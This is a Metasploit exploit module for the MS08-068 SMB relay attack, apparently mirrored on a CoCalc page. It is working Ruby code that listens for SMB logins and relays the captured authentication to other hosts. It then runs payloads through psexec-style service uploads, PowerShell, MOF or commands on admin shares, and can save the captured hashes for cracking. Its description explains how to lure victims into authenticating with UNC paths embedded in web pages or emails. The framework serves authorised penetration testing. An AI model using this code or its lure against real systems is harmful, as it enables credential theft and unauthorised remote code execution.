CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/smb_relay.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
=begin
7
Windows XP systems that are not part of a domain default to treating all
8
network logons as if they were Guest. This prevents SMB relay attacks from
9
gaining administrative access to these systems. This setting can be found
10
under:
11
12
Local Security Settings >
13
Local Policies >
14
Security Options >
15
Network Access: Sharing and security model for local accounts
16
=end
17
18
class MetasploitModule < Msf::Exploit::Remote
19
Rank = ExcellentRanking
20
include ::Msf::Exploit::Remote::SocketServer
21
22
include ::Msf::Exploit::Remote::SMB::Server::HashCapture
23
include ::Msf::Exploit::Remote::SMB::Client::Psexec
24
include ::Msf::Exploit::Powershell
25
include Msf::Exploit::EXE
26
include Msf::Module::HasActions
27
include Msf::Auxiliary::CommandShell
28
29
def initialize(info = {})
30
super(
31
update_info(
32
info,
33
'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution',
34
'Description' => %q{
35
This module will relay SMB authentication requests to another
36
host, gaining access to an authenticated SMB session if successful.
37
If the connecting user is an administrator and network logins are
38
allowed to the target machine, this module will execute an arbitrary
39
payload. To exploit this, the target system must try to authenticate
40
to this module. The easiest way to force a SMB authentication attempt
41
is by embedding a UNC path (\SERVER\SHARE) into a web page or
42
email message. When the victim views the web page or email, their
43
system will automatically connect to the server specified in the UNC
44
share (the IP address of the system running this module) and attempt
45
to authenticate. Unfortunately, this
46
module is not able to clean up after itself. The service and payload
47
file listed in the output will need to be manually removed after access
48
has been gained. The service created by this tool uses a randomly chosen
49
name and description, so the services list can become cluttered after
50
repeated exploitation.
51
52
The SMB authentication relay attack was first reported by Sir Dystic on
53
March 31st, 2001 at @lanta.con in Atlanta, Georgia.
54
55
On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
56
includes a patch which prevents the relaying of challenge keys back to
57
the host which issued them, preventing this exploit from working in
58
the default configuration. It is still possible to set the SMBHOST
59
parameter to a third-party host that the victim is authorized to access,
60
but the "reflection" attack has been effectively broken.
61
62
As of Feb 2022 - this module does not support SMB 1.
63
},
64
'Author' => [
65
'hdm', # Original SMB v1 relay module
66
'juan vazquez', # Original SMB v1 relay module - Add NTLMSSP support
67
'agalway-r7', # Add SMB 2/3 support
68
'alanfoster', # Add SMB 2/3 support
69
'Spencer McIntyre' # Add SMB 2/3 support
70
],
71
'License' => MSF_LICENSE,
72
'Privileged' => true,
73
'DefaultOptions' => {
74
'EXITFUNC' => 'thread'
75
},
76
'Payload' => {
77
'Space' => 2048,
78
'DisableNops' => true,
79
'StackAdjustment' => -3500
80
},
81
'References' => [
82
['CVE', '2008-4037'],
83
['OSVDB', '49736'],
84
['MSB', 'MS08-068'],
85
['URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
86
['URL', 'https://en.wikipedia.org/wiki/SMBRelay'],
87
['URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx']
88
],
89
'Arch' => [ARCH_X86, ARCH_X64],
90
'Platform' => 'win',
91
'Targets' => [
92
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
93
[ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
94
[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
95
[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
96
[ 'Command', { 'Arch' => [ARCH_CMD] } ]
97
],
98
'Notes' => {
99
'Stability' => [
100
CRASH_SAFE,
101
],
102
'Reliability' => [
103
REPEATABLE_SESSION
104
],
105
'SideEffects' => [
106
ARTIFACTS_ON_DISK,
107
IOC_IN_LOGS,
108
ACCOUNT_LOCKOUTS
109
]
110
},
111
'DisclosureDate' => '2001-03-31',
112
'DefaultTarget' => 0,
113
'Actions' => available_actions,
114
'Stance' => Msf::Exploit::Stance::Passive,
115
'DefaultAction' => 'PSEXEC'
116
)
117
)
118
119
register_options(
120
[
121
OptString.new('SMBSHARE', [false, 'The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share', ''], aliases: ['SHARE']),
122
OptAddressRange.new('RELAY_TARGETS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST']),
123
OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
124
OptPort.new('SRVPORT', [true, 'The local port to listen on.', 445]),
125
OptString.new('CAINPWFILE', [false, 'Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can be a path.', nil]),
126
OptString.new('JOHNPWFILE', [false, 'Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 hashes, each of which is stored in separate files. Can also be a path.', nil]),
127
OptString.new('SMBDomain', [true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']),
128
OptInt.new('SRV_TIMEOUT', [true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 25]),
129
OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25])
130
]
131
)
132
133
register_advanced_options(
134
[
135
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
136
OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),
137
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
138
OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])
139
]
140
)
141
142
deregister_options(
143
'RPORT', 'RHOSTS', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession'
144
)
145
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
146
add_info('New in Metasploit 6.4 - The %grnCREATE_SMB_SESSION%clr action within this module can open an interactive session')
147
end
148
end
149
150
def available_actions
151
actions = [
152
['PSEXEC', { 'Description' => 'Use the SMB Connection to run the exploit/windows/psexec module against the relay target' }]
153
]
154
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
155
actions << ['CREATE_SMB_SESSION', { 'Description' => 'Do not close the SMB connection after relaying, and instead create an SMB session' }]
156
end
157
158
actions
159
end
160
161
def smb_logger
162
log_device = datastore['VERBOSE'] ? Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Module.new(self) : Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Framework.new(framework)
163
Msf::Exploit::Remote::SMB::LogAdapter::Logger.new(self, log_device)
164
end
165
166
class SMBRelayServer
167
include ::Rex::Proto
168
169
def initialize(options)
170
@options = options
171
end
172
173
def alias
174
super || 'SMB Relay Server'
175
end
176
177
#
178
# Returns the hardcore alias for the SMB service
179
#
180
def self.hardcore_alias(*args)
181
sock_options = sock_options_for(*args)
182
"#{sock_options['LocalHost']}#{sock_options['LocalPort']}"
183
end
184
185
def start
186
@listener_sock = Rex::Socket::TcpServer.create(sock_options)
187
@listener_server = Msf::Exploit::Remote::SMB::Relay::NTLM::Server.new(**smb_server_options(@listener_sock))
188
@listener_thread = Rex::ThreadFactory.spawn('SMBRelayServerListener', false) do
189
@listener_server.run
190
rescue StandardError => e
191
elog(e)
192
end
193
end
194
195
def stop
196
begin
197
@listener_server.close if @server && !@server.closed?
198
@listener_thread.kill if @listener_thread
199
rescue StandardError => e
200
print_error('Failed closing SMB server')
201
elog('Failed closing SMB server', error: e)
202
end
203
204
begin
205
@listener_sock.close if @listener_sock && !@listener_sock.closed?
206
rescue StandardError => e
207
print_error('Failed closing SMB server socket')
208
elog('Failed closing SMB server socket', error: e)
209
end
210
end
211
212
#
213
# This method waits on the server listener thread
214
#
215
def wait
216
@listener_thread.join if listener_thread
217
end
218
219
attr_accessor :listener_sock, :listener_thread
220
221
def self.sock_options_for(options)
222
{
223
'LocalHost' => '0.0.0.0',
224
'LocalPort' => 445
225
}.merge(options[:socket])
226
end
227
228
private
229
230
def sock_options
231
self.class.sock_options_for(@options)
232
end
233
234
def smb_server_options(listener_sock)
235
{ server_sock: listener_sock }.merge(@options[:smb_server])
236
end
237
end
238
239
def start_service(_opts = {})
240
ntlm_provider = Msf::Exploit::Remote::SMB::Relay::Provider::AlwaysGrantAccess.new(
241
default_domain: datastore['SMBDomain']
242
)
243
244
# Set domain name for all future server responses
245
ntlm_provider.dns_domain = datastore['SMBDomain']
246
ntlm_provider.dns_hostname = datastore['SMBDomain']
247
ntlm_provider.netbios_domain = datastore['SMBDomain']
248
ntlm_provider.netbios_hostname = datastore['SMBDomain']
249
250
validate_smb_hash_capture_datastore(datastore, ntlm_provider)
251
252
comm = _determine_server_comm(datastore['SRVHOST'])
253
print_status("SMB Server is running. Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
254
@service = Rex::ServiceManager.start(
255
self.class::SMBRelayServer,
256
{
257
socket: {
258
'Comm' => comm,
259
'LocalHost' => datastore['SRVHOST'],
260
'LocalPort' => datastore['SRVPORT'],
261
'Server' => true,
262
'Timeout' => datastore['SRV_TIMEOUT'],
263
'Context' => {
264
'Msf' => framework,
265
'MsfExploit' => self
266
}
267
},
268
smb_server: {
269
gss_provider: ntlm_provider,
270
logger: smb_logger,
271
relay_targets: Msf::Exploit::Remote::SMB::Relay::TargetList.new(datastore['RELAY_TARGETS'], randomize_targets: datastore['RANDOMIZE_TARGETS']),
272
listener: self,
273
relay_timeout: datastore['RELAY_TIMEOUT'],
274
thread_manager: framework.threads
275
}
276
}
277
)
278
end
279
280
def validate_service_stub_encoder!
281
service_encoder = datastore['SERVICE_STUB_ENCODER']
282
return if service_encoder.nil? || service_encoder.empty?
283
284
encoder = framework.encoders[service_encoder]
285
if encoder.nil?
286
raise Msf::OptionValidateError.new(
287
{
288
'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"
289
}
290
)
291
end
292
end
293
294
def exploit
295
if datastore['RHOSTS'].present?
296
print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.')
297
end
298
299
case action.name
300
when 'PSEXEC'
301
validate_service_stub_encoder!
302
end
303
super
304
end
305
306
def on_relay_success(relay_connection:)
307
case action.name
308
when 'PSEXEC'
309
run_psexec(relay_connection)
310
when 'CREATE_SMB_SESSION'
311
begin
312
session_setup(relay_connection)
313
rescue StandardError => e
314
elog('Failed to setup the session', error: e)
315
end
316
end
317
end
318
319
def run_psexec(relay_connection)
320
# The psexec mixins assume a single smb client instance is available, which makes it impossible
321
# to use when there are multiple SMB requests occurring in parallel. Let's create a replicant module,
322
# and set the datastore options and simple smb instance
323
new_mod_instance = replicant
324
new_mod_instance.datastore['RHOST'] = relay_connection.target.ip
325
new_mod_instance.datastore['RPORT'] = relay_connection.target.port
326
# The new module no longer needs a reference to the original smb server, deref it explicitly:
327
new_mod_instance.service.deref
328
new_mod_instance.service = nil
329
# Wrap the ruby_smb connection in a rex-compatible adapter
330
new_mod_instance.simple = ::Rex::Proto::SMB::SimpleClient.new(relay_connection.dispatcher.tcp_socket, client: relay_connection)
331
332
thread_name = "Module(#{refname})(target=#{relay_connection.target.ip}:#{relay_connection.target.port})"
333
framework.threads.spawn(thread_name, false, new_mod_instance) do |mod_instance|
334
mod_instance.exploit_smb_target
335
rescue StandardError => e
336
print_error("Failed running psexec against target #{datastore['RHOST']} - #{e.class} #{e.message}")
337
elog(e)
338
# ensure
339
# # Note: Don't cleanup explicitly, as the shared replicant state leads to payload handlers etc getting closed.
340
# # The parent module will clean these shared resources
341
# mod_instance.cleanup
342
end
343
end
344
345
def on_relay_failure(relay_connection:)
346
# noop
347
end
348
349
# Called after a successful connection to a relayed host is opened
350
def exploit_smb_target
351
# automatically select an SMB share unless one is explicitly specified
352
if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank?
353
smbshare = datastore['SMBSHARE']
354
elsif target.name == 'Command'
355
smbshare = 'C$'
356
else
357
smbshare = 'ADMIN$'
358
end
359
360
service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
361
service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''
362
363
vprint_status 'Running psexec'
364
case target.name
365
when 'Automatic'
366
if powershell_installed?(smbshare, datastore['PSH_PATH'])
367
print_status('Selecting PowerShell target')
368
execute_powershell_payload
369
else
370
print_status('Selecting native target')
371
native_upload(smbshare, service_filename, service_encoder)
372
end
373
when 'PowerShell'
374
execute_powershell_payload
375
when 'Native upload'
376
native_upload(smbshare, service_filename, service_encoder)
377
when 'MOF upload'
378
mof_upload(smbshare)
379
when 'Command'
380
execute_command_payload(smbshare)
381
end
382
383
handler
384
disconnect
385
end
386
387
# @param [RubySMB::Client] client
388
def session_setup(client)
389
return unless client
390
391
platform = 'windows'
392
393
# Create a new session
394
rstream = client.dispatcher.tcp_socket
395
sess = Msf::Sessions::SMB.new(
396
rstream,
397
{
398
client: client
399
}
400
)
401
ds = {
402
'RHOST' => client.target.ip,
403
'RPORT' => client.target.port
404
}
405
406
s = start_session(self, nil, ds, false, sess.rstream, sess)
407
408
s.platform = platform
409
410
s
411
end
412
413
end
414
415